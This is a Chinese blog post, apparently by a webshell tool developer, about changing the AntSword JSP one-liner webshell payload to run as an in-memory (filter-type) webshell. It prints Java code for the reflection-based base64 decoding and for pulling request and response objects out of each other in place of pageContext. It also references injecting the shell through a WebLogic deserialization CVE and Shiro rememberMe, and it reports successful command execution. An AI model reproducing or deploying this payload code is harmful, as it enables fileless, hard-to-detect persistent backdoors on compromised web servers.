蚁剑改造计划之支持内存马

最近因为各种事情太忙了,博客也很久没有更新了。今天暂且先水一篇。

前几天发了一版新的蚁剑JSP一句话的payload,这篇文章记录一下更新的细节。

这个没啥好说的,就是base64解码的问题。在jdk9开始移除了sun.misc这个包,导致原有的sun.misc.BASE64Decoder没法继续使用,取而代之的是java.util.Base64这个类。

解决办法就是两个都试一下,看哪个能解码成功,核心代码如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }

这个问题可以掰扯一下。很多文章都提到了冰蝎或者蚁剑连接内存马的问题。

除了由于写法问题而导致的各种乱七八糟的问题以外,其中主要的一个问题是冰蝎在入口处采用了pageContext这个类来获取request response session对象,本人以冰蝎为原型实现的蚁剑JSP一句话同样采用了pageContext作为入口。但是以filter型内存马为例,doFilter中三个参数分别是ServletRequest,ServletResponse,FilterChain,并不存在pageContext这个东西。

那么大体上有三种解决办法:

  1. 自己声明一个pageContext类,在里面实现对应的request跟response的getter setter。冰蝎改造之不改动客户端=>内存马

  2. 改写冰蝎的入口为request+response,不再采用pageContext作为入口。但是弊端就是不能再用equals了,要重新写一个方法用反射调用。冰蝎改造之适配基于tomcat Filter的无文件webshell

  3. 采用蚁剑原来的Custom模式,把恶意函数直接通过字节码打进去,然后通过方法名调用。不过由于直接编译恶意函数的字节码较大会超过最大长度限制,一般要先写入目标然后配合URLClassLoader才能使用。使用WebLogic CVE-2020-2883配合Shiro rememberMe反序列化一键注入蚁剑shell

以上的这些方法可以是可以,但是不够优雅。

回想我们最开始的问题,为什么要用pageContext,是为了拿到当前请求的上下文,更精确一点就是输入输出:request,response。经过实际调试可以发现:

在request中本身就包含了当前的response,同样response中也包含了当前的request。

img

img

虽然蚁剑没有用到session对象,但是需要的时候也可以通过request来获取。

img

也就是通过request或者response任意一个就能完全代替pageContext,这也是在新版payload中采取的方案。

核心代码如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
if (obj instanceof PageContext) {
            PageContext page = (PageContext) obj;
            request = (HttpServletRequest) page.getRequest();
            response = (HttpServletResponse) page.getResponse();
        } else if (obj instanceof HttpServletRequest) {
            request = (HttpServletRequest) obj;
            try {
                Field req = request.getClass().getDeclaredField("request");
                req.setAccessible(true);
                HttpServletRequest request2 = (HttpServletRequest) req.get(request);
                Field resp = request2.getClass().getDeclaredField("response");
                resp.setAccessible(true);
                response = (HttpServletResponse) resp.get(request2);
            } catch (Exception e) {
                e.printStackTrace();
            }
        } else if (obj instanceof HttpServletResponse) {
            response = (HttpServletResponse) obj;
            try {
                Field resp = response.getClass().getDeclaredField("response");
                resp.setAccessible(true);
                HttpServletResponse response2 = (HttpServletResponse) resp.get(response);
                Field req = response2.getClass().getDeclaredField("request");
                req.setAccessible(true);
                request = (HttpServletRequest) req.get(response2);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }

在equals中收到一个对象后,会依次判断是否是PageContext/HttpServletRequest/HttpServletResponse,然后根据情况拿到request跟response,从而实现对内存马的兼容。

测试环境

img

在equals中填入request对象

img

访问内存马,一片空白说明注入成功。

img

访问任意路径即可连接。

img

正常执行命令,完美解决问题。

img